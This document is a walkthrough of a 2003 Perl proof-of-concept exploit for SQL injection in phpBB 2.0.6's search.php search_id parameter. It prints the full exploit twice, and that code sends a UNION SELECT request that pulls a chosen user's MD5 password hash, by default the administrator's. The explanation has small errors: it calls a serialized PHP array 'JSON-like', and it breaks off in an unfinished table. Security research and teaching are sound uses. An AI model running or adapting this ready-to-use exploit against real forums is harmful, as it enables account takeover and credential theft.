phpBB 2.0.6 'search_id' SQL Injection: Extracting User Hashes

phpBB 2.0.6 'search_id' SQL Injection: Extracting User Hashes
What this paper is
This paper details a proof-of-concept exploit for phpBB version 2.0.6. It targets a vulnerability in the search.php script, specifically how it handles the search_id parameter. The exploit leverages SQL injection to extract the MD5 hash of a user's password, identified by their user_id. The authors note it works with MySQL versions greater than 4.0 and is demonstrated for the first post (implying a specific context or default setting).
Simple technical breakdown
The core of the vulnerability lies in the search.php script not properly sanitizing user input for the search_id parameter. This allows an attacker to inject SQL commands. The exploit uses a UNION SELECT statement to combine the results of the original query with a crafted query that retrieves the user_password from the phpbb_users table. The concat() function is used to build a string that includes the extracted password hash, along with other data, which is then returned in the HTTP response. The script then parses this response to display the MD5 hash.
Complete code and payload walkthrough
The provided Perl script automates the process of sending the crafted HTTP request and parsing the response.
#!/usr/bin/perl -w
use IO::Socket;
## PROOF-OF-CONCEPT
## * work only with mysql ver > 4.0
## * work only with post #1
##
## Example:
## C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2
## [~] prepare to connect...
## [+] connected
## [~] prepare to send data...
## [+] OK
## [~] wait for response...
## [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99
##
if (@ARGV < 4)
{
print "\n\n";
print "|****************************************************************|\n";
print " r57phpbb.pl\n";
print " phpBB v<=2.06 search_id sql injection exploit (POC version)\n";
print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n";
print " coded by f3sy1 & 1dt.w0lf // 16/12/2003\n";
print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n";
print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n";
print " [~] <server> - server ip\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 default for phpBB admin)\n";
print " [~] <search_id> - play with this value for results\n";
print "|****************************************************************|\n";
print "\n\n";
exit(1);
}
$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
$search_id = $ARGV[3];
print "[~] prepare to connect...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";
print "[+] connected\n";
print "[~] prepare to send data...\n";
# PROOF-OF-CONCEPT reguest...
print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%20concat
(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,
116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,
97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,
105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34)
,user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,
59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,
59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,
58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,
104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=$user_id/*
HTTP/1.0\r\n\r\n";
print "[+] OK\n";
print "[~] wait for response...\n";
while ($answer = <$socket>)
{
if ($answer =~ /;highlight=/)
{
$success = 1;
@result=split(/;/,$answer);
@result2=split(/=/,$result[1]);
$result2[1]=~s/&/ /g;
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";
}
}
if ($success==0) {print "[-] exploit failed =(\n";}
## o---[ RusH security team | www.rsteam.ru | 2003 ]---o
# milw0rm.com [2003-12-21]
-----
* **`#!/usr/bin/perl -w`**: This is the shebang line, indicating the script should be executed with Perl and enabling warnings for better debugging.
* **`use IO::Socket;`**: This line imports the `IO::Socket` module, which is necessary for creating network connections (in this case, an HTTP connection to the web server).
* **Argument Handling (`if (@ARGV < 4)`)**:
* The script checks if at least 4 command-line arguments are provided.
* If not, it prints a detailed usage message, explaining the purpose of the script, its authors, and how to use it with an example.
* **`Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>`**: This is the expected command-line format.
* `<server>`: The IP address or hostname of the target web server.
* `<folder>`: The directory where phpBB is installed (e.g., `phpBB2`).
* `<user_id>`: The ID of the user whose password hash is to be retrieved. The default is often `2` for the administrator.
* `<search_id>`: A value used in the exploit to manipulate the SQL query.
* **`exit(1);`**: Exits the script if arguments are insufficient.
* **Variable Initialization**:
* `$success = 0;`: A flag to track if the exploit was successful.
* `$server = $ARGV[0];`, `$folder = $ARGV[1];`, `$user_id = $ARGV[2];`, `$search_id = $ARGV[3];`: Assigns the command-line arguments to descriptive variables.
* **Network Connection**:
* `print "[~] prepare to connect...\n";`: Informative message.
* `$socket = IO::Socket::INET->new(...) || die "$socket error $!";`:
* Creates a new TCP socket connection to the specified `$server` on port `80` (HTTP).
* `|| die "$socket error $!"`: If the connection fails, the script terminates with an error message.
* `print "[+] connected\n";`: Confirms successful connection.
* **Crafting and Sending the HTTP Request**:
* `print "[~] prepare to send data...\n";`: Informative message.
* `print $socket "GET /$folder/search.php?search_id=... HTTP/1.0\r\n\r\n";`: This is the core of the exploit. It sends a crafted HTTP GET request.
* **`GET /$folder/search.php?`**: Standard HTTP GET request targeting the `search.php` script within the specified `$folder`.
* **`search_id=$search_id%20union%20select%20concat(...)`**: This is where the SQL injection occurs.
* `$search_id`: The value provided by the user.
* `%20`: URL-encoded space.
* `union%20select%20`: The `UNION SELECT` SQL statement, used to combine results from the original query with a new query.
* **`concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34)`**: This is a long string of `char()` functions. Each `char()` function takes an ASCII code and returns the corresponding character. This part is constructing a complex string that seems to be intended to format the output or include metadata. Let's break down a small portion of the `char()` sequence:
* `char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34)`
* `97` -> 'a'
* `58` -> ':'
* `55` -> '7'
* `123` -> '{'
* `115` -> 's'
* `49` -> '1'
* `52` -> '4'
* `34` -> '"'
* `115,101,97,114,99,104,95,114,101,115,117,108,116,115` -> "search_results"
* `59` -> ';'
* `116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116` -> "total_match_count"
* `105` -> 'i'
* `53` -> '5'
* `115,112,108,105,116,95,115,101,97,114,99,104` -> "split_search"
* `97` -> 'a'
* `123` -> '{'
* `48` -> '0'
* `51,50` -> '32'
* This part seems to be constructing a JSON-like or structured string, possibly for internal phpBB processing or for debugging purposes.
* **`,user_password`**: This is the crucial part. It selects the `user_password` column from the `phpbb_users` table.
* **`,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))`**: This is another long `char()` sequence, likely continuing the structured string construction.
* **`from phpbb_users`**: Specifies the table to query.
* **`where user_id=$user_id/*`**: This is the condition to select a specific user. The `/*` is a comment in SQL, used to truncate any subsequent SQL code that might have been in the original query, preventing syntax errors and ensuring only our injected query is executed.
* **`HTTP/1.0\r\n\r\n`**: Standard HTTP headers indicating the end of the request.
* `print "[+] OK\n";`: Confirms the data was sent.
* **Receiving and Parsing the Response**:
* `print "[~] wait for response...\n";`: Informative message.
* `while ($answer = <$socket>) { ... }`: Reads the HTTP response line by line.
* `if ($answer =~ /;highlight=/ )`: This is the key to extracting the data. The exploit expects the injected `concat()` function's output to be embedded in the response, and it looks for a specific pattern, likely related to how phpBB formats search results or highlights. The presence of `;highlight=` suggests the injected data is being placed within a parameter or attribute that uses this marker.
* `$success = 1;`: Sets the success flag.
* `@result=split(/;/,$answer);`: Splits the response line by semicolons. This assumes the relevant data is separated by semicolons.
* `@result2=split(/=/,$result[1]);`: Splits the second element of the `@result` array (which is expected to contain the injected data) by the equals sign. This is to isolate the value after the `highlight=` or a similar parameter.
* `$result2[1]=~s/&/ /g;`: Replaces URL-encoded ampersands (`&`) with spaces. This is a common cleanup step for web data.
* `print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";`: Prints the extracted MD5 hash. The `$result2[1]` variable now holds the concatenated string, which includes the `user_password`.
* **Failure Message**:
* `if ($success==0) {print "[-] exploit failed =(\n";}`: If the `;highlight=` pattern was not found, it indicates the exploit failed.
* **Author Signature**:
* `## o---[ RusH security team | www.rsteam.ru | 2003 ]---o`: A footer from the exploit authors.
**Mapping of code fragments to practical purpose:**
| Code Fragment/Block
---
## Original Exploit-DB Content (Verbatim)
```text
#!/usr/bin/perl -w
use IO::Socket;
## PROOF-OF-CONCEPT
## * work only with mysql ver > 4.0
## * work only with post #1
##
## Example:
## C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2
## [~] prepare to connect...
## [+] connected
## [~] prepare to send data...
## [+] OK
## [~] wait for response...
## [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99
##
if (@ARGV < 4)
{
print "\n\n";
print "|****************************************************************|\n";
print " r57phpbb.pl\n";
print " phpBB v<=2.06 search_id sql injection exploit (POC version)\n";
print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n";
print " coded by f3sy1 & 1dt.w0lf // 16/12/2003\n";
print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n";
print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n";
print " [~] <server> - server ip\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 default for phpBB admin)\n";
print " [~] <search_id> - play with this value for results\n";
print "|****************************************************************|\n";
print "\n\n";
exit(1);
}
$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
$search_id = $ARGV[3];
print "[~] prepare to connect...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";
print "[+] connected\n";
print "[~] prepare to send data...\n";
# PROOF-OF-CONCEPT reguest...
print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%20concat
(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,
116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,
97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,
105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34)
,user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,
59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,
59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,
58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,
104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=$user_id/*
HTTP/1.0\r\n\r\n";
print "[+] OK\n";
print "[~] wait for response...\n";
while ($answer = <$socket>)
{
if ($answer =~ /;highlight=/)
{
$success = 1;
@result=split(/;/,$answer);
@result2=split(/=/,$result[1]);
$result2[1]=~s/&/ /g;
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";
}
}
if ($success==0) {print "[-] exploit failed =(\n";}
## o---[ RusH security team | www.rsteam.ru | 2003 ]---o
# milw0rm.com [2003-12-21]